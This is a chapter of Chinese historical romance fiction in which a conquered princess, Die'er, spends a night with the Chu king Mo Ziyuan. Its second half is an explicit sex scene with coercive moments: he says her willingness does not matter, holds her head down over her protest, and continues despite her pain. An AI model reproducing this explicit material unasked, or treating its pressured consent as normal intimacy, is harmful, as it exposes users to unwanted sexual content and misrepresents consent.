我看著淑妃用帕子捂著嘴低低笑著,我笑了笑:“多谢姐姐愿教诲妹妹,妹妹确是不敢有狼子之心。不过姐姐,我也要告诉你一事。”淑妃听罢,冷著一张脸:“何事,说罢。”我抓著她的肩膀靠近:“姐姐唇边,沾著粒松糕。”
淑妃摸了半日嘴角,突然指著我大吼:“你这娃儿净知胡说,我方才根本没吃松糕!”我用帕子捂著嘴笑道:“看错罢了,姐姐莫恼。”淑妃狠狠瞟了我一眼,冲撞下我的肩膀走了过去。我叹了口气,才到这楚宫几日,便生出如此多的麻烦事来。
小婢安慰道:“娘娘莫要伤神,那淑妃也不得宠,只是爱到处乱撒野罢了。”我笑了笑:“我无事,多谢关心了。”不想回去一个人对著四面墙,只好在花园散步,看了会美景,才提步回去。
回去寝宫後惊讶发现墨子渊坐在桌几处看书,他冷冷抬眼看了我一下。我慢慢走到他对面坐下,手中提的笼刚要放在桌面,却想起应已是冷了,只好默默的放在地上。“那是什麽。”墨子渊开口问道。
我愣了愣:“刚才和小婢去喂鸟了,是喂剩下的。”墨子渊放下书,勾唇看著我,“那带回我寝宫是打算明日继续喂麽。”我点点头:“现在楚宫那麽缺银两,还是节省些的好。”墨子渊撑头在几上看著我,笑道:“一把鸟食还不妨事,要是一笼子糕点就有些浪费了。”
我拿起笼子打开,将全部糕点放在他面前,“那你全部都吃掉罢,别浪费了才是。”墨子渊笑几声:“我估摸是明白十六叔送你来的用意了,便是让我住无去处,食无暖物了。”我嘟嘴:“明明就是你自己有地方不住,有暖食不用罢。”
墨子渊捻起糕点,咬了口,“蝶儿解释与我听听,这是何意。”我也捻起一块糕点,才想起我今日还未曾用餐,便大口咀嚼著说:“你明明就是楚王,把自己弄得那麽可怜能怪谁啊。”
墨子渊笑了笑:“之前你霸占我寝宫把我气了去,今日我肚饿让膳房弄些糕点来,却据说大部分都被你拿了。当时我就想,蝶儿到底是有多能吃,不知偌大楚宫能否养得起。”我嘟嘴,“当时不知道你会突然想吃什麽嘛,就各样式拿了份,重得要命,却又不见你心疼。”
墨子渊咬著糕点沈默了一下:“怎不知让婢女代拿。”我咀嚼看著看了眼小婢,摇摇头:“她年纪比我还小,怎好让她拎重物。”墨子渊挑眉:“那不知以後是否应将我的护卫都给你用,需到用时立刻有帮手才是。”
我惊讶看著他:“楚宫现在穷到这种地步了,护卫都要帮忙搬抬物品?”墨子渊勾唇耸耸肩,我将糕点一扔,全无胃口:“宁国到底是有多弱啊,这样都能被楚灭国……”墨子渊好笑看著我:“怕是都似蝶儿一般罢。”
我眯眼看著他:“你小看我。”墨子渊勾唇,“那是否要过招看看。”我弹起身,将椅子都撞倒了:“来就来!谁怕谁!”
看著对面的墨子渊用极为晦暗的嘲讽之意说:“让你五招罢。”我立刻劈手就过去,虽说我武功底子不好,可毕竟也是练过的,却没想到招招都挨不近他身,我蹲地一腿扫过去,刚站起来,墨子渊说了句:“五招了。”我还没反应过来,就已经落入他的怀抱中。
我想要动,却被紧紧困住,动弹不得,我无奈道:“好啦,宁国很弱啦!放开我罢。”墨子渊却没有放开我,反而低头吻住了我。我一个激灵,本能的狠狠踩了他一脚,可是他却只是淡淡挑眉:“这算是暗算罢。”
我抬起下巴:“你没规定说不许暗算。”墨子渊放开了我,轻声道:“今晚,我要你侍寝。”然後转身走了,我愣在原地,这个话题转移的速度快到我完全接受不了。
我抓著他的外衣,不知为何完全没有了第一次那种豁达认命,牺牲奉献的精神。我只知道我此刻,紧张得连他衣带的结口到底在哪儿都找不到。墨子渊晃了晃身子,我抬头看去,他闭眼假装熟睡状,我皱眉:“你再动我就更加找不到了!”
墨子渊勾唇笑了笑:“蝶儿记忆力真真非一般的差,才多少日不褪男子衣物,便忘记怎麽褪了。倒是如何是好,岂非我的衣裳天天要由你来褪才不会忘记?”我脸一红,咬著下唇,根本不想搭话。
磨叽了半日,我终是找到了那该死的结扣,赌气得大力拉扯著,墨子渊低低笑著,也不再讽我。慢慢褪开他的外衫,碰上他里衣,我不确定的抬头看了他一眼,见他没有阻止,便拉开了里衣。
我一拉开,便被震惊了,他胸膛的痕疤,分毫不亚於墨皓空,反而更甚。我伸手轻轻抚著那些疤痕,想象著每一刀落在上面,是怎麽样的一种疼痛。墨子渊低低笑了声:“保存完好的,也就这张脸了。”
我抬头看著他,嚅嗫道:“莫非你,不能人道了?……”墨子渊挑眉看著我,“何意?”我想了半天要不要说,“就是……那个,也被断了麽?”我紧紧咬著下唇,不敢继续做声。墨子渊突然大笑了起来,抱著我摩挲著我的发,“蝶儿,你到底是何构造,我真真不懂。”
我大力推开他,‘哼’了声,“正常女子构造,有何难懂。”墨子渊栖近我,用手指刮著我的脸,轻声道:“蝶儿害羞了不是。”我头皮发麻,“没有!”
墨子渊捧著我的脸,“蝶儿被与我,是否真心情愿?”我震了震,回想起似乎,我还有很多事要做。墨子渊叹了口气,“无论你情愿与否,今日上了我的床榻,便没得回头。”
我想了想,对著他点点头,过了会,却又摇摇头。“子渊,我以为作为帝王的你更应懂得,世间上的人又有多少能遂了自己的心愿。与了你,我并无怨尤,既如此,你又何必多问。”
我顿了顿,“就像我不愿宁国破灭,最终它不是被楚灭了。”墨子渊垂眼看著我:“蝶儿,你恨我?”我摇摇头,“并没有,宁国只是气数将尽,不是楚,也会是别人。”只是因为国灭,我需得付出很多的代价。
墨子渊慢慢的解开我的衣结,轻声说:“若是恨了,也无妨。”我看著他满是疤痕的胸膛,轻声问:“为何?”墨子渊一边解著我的外衣,吻了吻我,轻声道:“因为我想要你。”我的心轻轻一动,突然忆起自己为何来楚宫,不知为何有些心疼他的抚上他的脸。
不与我再多说什麽,墨子渊将我放倒在床上,拔下我的簪子吻著我的脸庞。我紧张得想去抓著他的衣襟,却发现他的上衣都被我脱了。想抓著自己的衣襟,却发现他在脱我的,我只好尽量放松身子,紧紧咬著下唇。
墨子渊沈默了一下,“蝶儿不愿的话,便将我当做他人罢。”我惊讶抬头看著他,却发现他眸子里盈满了认真。我忽地想起前几日他不还在为这事与我闹矛盾麽,怎的今日就想开了,还开得那样大。大得连我自己都完全没有这个意识,我刚想开口告诉他我只是太紧张了而已,想想算了,这种事好像不应该让他知道。
感觉他慢慢拉开我的衣裳,全部暴露在他面前我很是紧张,完全不似和墨皓空相处那时。我不明白这是为什麽,只好低声问道:“能不能不全解开呀……”墨子渊的手顿了顿,然後低下头吻著我,被他吻得晕晕乎乎的,只好支著他的胸膛,摩挲著他的刀疤。
“蝶儿……”听著他在我耳边声声低唤,我放松不了自己的身子,只好环著他的脖子,颤抖著。我好紧张,根本不能让他继续这样下去了,再这样下去,只觉胸口中的心都要跳出来。我撑开他的胸膛,将他推倒,然後顺著墨皓空教我的,慢慢套弄起他的粗大。
“额!”墨子渊倒在枕头上,那对厉眼就这样看著我,我咬唇,拉著身旁的被子将他的头捂上。“你不许偷看哦!”仔细看见他没有拨开被子,我犹豫了下,俯下身舔了舔他粗大的前端,“嗯!”听见他的喘息声从被子後头溢出,我慢慢的吸住了他的龟头。
墨子渊和墨皓空的不同,他粗大的气味相对要轻些。顺著墨皓空教我的,我慢慢将它纳到无法吞入,便用手扶著我不能顾及的部分套弄著。我不自觉的伸手摸向他身上的疤痕,轻轻摩挲著。墨子渊的手紧紧拽著盖住头的被子,下身顺著我的吸弄上下摆动了起来。
随著他肉刃的刺入,我总是被他抵著喉咙,我难受的不停向上缩著头,墨子渊却按住我的後脑狠狠的刺著。“嗯嗯!”不要!我皱眉想推开他,他却一把将拉开棉被死死看著我,我被他盯得害羞,将身子转过去,结果墨子渊却一把抓住我的臀,然後舔上了我的穴口。
放开他的肉棒,我大叫缩著,他却两手紧紧固定著我的臀,啃咬著我的花珠。我全身颤抖得不行,只好以牙还牙的抓著他的肉棒吸著,直到他插入一指,我全身颤抖了起来,“不要!子渊,不要!啊!……好难受……”
墨子渊终是放开了我,却将我压在床上,与我相吻。我的液体和他的气息完全交融在我的唇齿之中,我这时所有的害羞都变成了说书人口中的欲乱情迷,只能被他牵引著相随。他抚弄著我的花唇,哑声问道:“我能入你麽?”我咬唇,觉得他在床上的问题,总是太过多了。
他扶著自己的肉棒抵在我的穴口,又问了一遍,“可以麽?”我不顾一切重重点点头,感觉他像鸡蛋大的龟头塞入我的下体,我全身狠狠一抽,紧紧耙住他的双臂,感觉指甲入肉。墨子渊惊讶看了我一眼,却很快又消失了,摇摇头,似乎在说服自己什麽。
随著他刺入,听到噗的一声,我的世界就剩下漫天的疼痛,我狠狠咬著下唇,皱眉到不能再皱。我仰头喘息,发不出一丁点的声音,墨子渊像是被钉住了,便不再抽动,我看著他,委屈抽泣著:“子渊,好痛,我好痛……”
墨子渊苦笑一声,“终是我太低估他了……”我不懂他在说什麽,能环著他的脖子将他拉到我的颈脖处,他好似终於醒过来一般,摸著我的发,沙哑著声音哄著,我却只听清一句:“蝶儿,我忍不了了……”
我皱眉,自己还在疼痛中,可墨子渊却开始在我身上耸动著,我低叫:“子渊,还很痛……”墨子渊拉过我的手亲著,压抑著声音道:“蝶儿乖,过一阵便好了。”我甩著头,觉得好痛,同时却又有一种从来没有过的欢愉,这和墨皓空那时教的感觉,不太一样。
“啊啊……”我无法抑制的发出低吟,却换来墨子渊更凶猛的进出,我难受得伸出手去,摸著他胸膛的刀痕,不知道为何,觉得它们总是能平息内心不安的躁动。“蝶儿……”我听见墨子渊在我耳边喘息著唤我,我却只能从口中溢出呻吟,别无其他。
“你好小,好紧,从来未有过你这样的,好舒服。”我害羞的咬住唇,拉下他将吻洒在他的颈脖上,啃咬著他的耳垂。墨子渊转过头来狠狠的吻著我,我觉得身下的快感一波接一波,再也是无法承受,我尖叫著抽搐著身体,在他怀里颤抖著。
墨子渊搂著我,大力的进出让我微微呜咽了出声,只觉难受淹没了快感,而快感随後又紧随著难受上来。我被他弄得晕乎乎的,只觉小腹好似有什麽东西一直要顶出来,我害怕的用手按下去,墨子渊狠狠吼叫著耸弄著我,我又是一阵抽搐,意识开始模糊。
我摇头,尽力从呻吟中吐出语句来:“子渊,我真的不行了,求你……”墨子渊好似终於肯放过我一般,狠狠拍打著我几十下,然後钉在我身上颤抖著。
我无力的瘫在床上,被墨子渊不知干嘛的翻来翻去弄了弄,最终烛火才灭,可天色开始灰灰亮亮。被墨子渊抱在怀里,我转身摩挲著他的刀痕,吻了吻他的胸膛,然後调整位置,便被浓烈的睡衣侵袭。
感觉有东西不停拨弄著我的睫毛,我皱眉缓缓眨开双眼,只见墨子渊一脸好笑的坐在床沿边看著我。我嘟嘴,挪动自己枕在他腿上,轻声道:“什麽时辰了?”墨子渊摸著我的脸,“我都下朝回来了。”
我撑开眼,揉了揉,轻声说:“那怎麽没人唤我……我不是故意不晨起的。”墨子渊抚摸著我唇,看著他的眼眸,看不出什麽意味来。我埋头入他的腿间,不知为何觉得害羞异常,这种感觉和墨皓空一起都未曾有过。
我想了想,“你起那麽早,现在该困了吧?要不休息下?”他勾唇:“还要批文呢。”我嘟嘴,“那麽疲倦也批不出什麽花儿来,还是先歇息歇息罢,你都累了一晚……”我说到一半都被自己震惊了,刚想躲开身子,墨子渊笑了声,将我搂在怀中。
他缓缓低下头想要吻我,我撇开头去低声道:“还没漱口呢……”他固定住我的头,看了眼我,轻声道:“无妨。”那吻便落了下来。

上一篇隔墙有眼下一篇五保户朱三爹的幸福日子